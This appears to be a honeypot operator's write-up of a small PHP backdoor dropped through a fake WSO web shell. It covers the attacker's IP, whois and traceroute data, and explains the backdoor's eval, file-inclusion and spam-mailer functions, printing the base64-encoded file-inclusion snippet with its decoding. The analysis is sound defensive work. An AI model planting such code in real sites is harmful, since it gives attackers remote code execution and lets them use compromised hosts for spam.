A small, multi-purpose backdoor.
Someone else put this code on pastebin, Jun 23rd, 2015, and makes another appearance on Jun 13th, 2017. I received it Apr 13 08:56, 2018. The pastebin code even has the "ev" parameter PHP evaluation, and the local file inclusion code.
My honey pot caught another version 5 months later.
The attacker hoped to use the "FilesMan" action, "uploadFile" sub-action, of a WSO, web shell by "oRb". Bad luck, that just invoked a fake WSO, part of my WordPress honey pot.
Had the attacker called on a real WSO web shell,
a file named 404mmaarr.php would hold the downloaded PHP source code.
176.234.34.233 has no A record associated.
whois shows that address is associated with:
org-name: Superonline Iletisim Hizmetleri A.S.
org-type: LIR
address: Yeni Mahalle Pamukkale Sokak No 3 Soganlik - Kartal
address: 34880
address: Istanbul
address: TURKEY
route: 176.234.32.0/21
descr: TR-SUPERONLINE-Broadband
origin: AS34984
traceroute to 176.234.34.233 (176.234.34.233), 30 hops max, 60 byte packets
1 _gateway (162.246.45.129) 79.647 ms 79.635 ms 79.612 ms
2 10.100.100.2 (10.100.100.2) 90.031 ms 89.977 ms 89.971 ms
3 10.100.100.1 (10.100.100.1) 89.964 ms 89.945 ms 89.905 ms
4 v231.core1.den1.he.net (216.66.73.25) 90.095 ms 89.872 ms 89.854 ms
5 100ge14-1.core1.mci3.he.net (184.105.64.50) 121.779 ms 121.770 ms 129.647 ms
6 100ge8-1.core2.chi1.he.net (184.105.81.210) 149.548 ms 69.072 ms 68.986 ms
7 chg-s1-rou-1001.us.eurorings.net (206.223.119.95) 68.991 ms 57.193 ms 57.149 ms
8 nyk-s2-rou-1021.US.eurorings.net (134.222.49.15) 67.017 ms 67.004 ms 66.985 ms
9 ldn-s2-rou-1101.UK.eurorings.net (134.222.48.93) 202.064 ms 202.034 ms 201.995 ms
10 nntr-s1-rou-1101.FR.eurorings.net (134.222.48.123) 185.997 ms 269.989 ms 269.942 ms
11 ffm-s1-rou-1102.DE.eurorings.net (134.222.49.54) 227.092 ms 227.079 ms 227.058 ms
12 itb-s3-rou-1041.TR.eurorings.net (134.222.48.67) 269.809 ms 266.977 ms 269.744 ms
13 134.222.105.171 (134.222.105.171) 269.755 ms 269.713 ms 269.695 ms
14 * * *
...
30 * * *
geoiplookup says that 134.222.105.171 is in Netherlands,
while 176.234.34.233 is in Turkey.
This code has 3 functions:
A. Immediate evaluation of PHP source code
If a POST parameter "ev" has a value, this backdoor tries to evaluate it as PHP source code imediately.
B. Built-in file inclusion
$in = $_GET['in'];
if(isset($in) && !empty($in)){
echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));
}
'ZGllKGluY2x1ZGVfb25jZSAkaW4pOw==' decodes to:
die(include_once $in);
If you send an HTTP parameter named 'in', and it has the value of a file name on the system where the backdoor runs, the code/text in that file gets included. You could execute PHP that's already present on the infected system.
C. Email spamming
If you invoke the 404mmaarr.php URL with no HTTP parameters,
it responds with a user friendly email spamming GUI:
You can interact with the spamming tool via the web.
Email will ultimately be sent via the PHP mail() built-in,
by the compromised host.
Googling for ".:| Rebels Mailer |::." shows you more instances of this tool on the wide open Internet.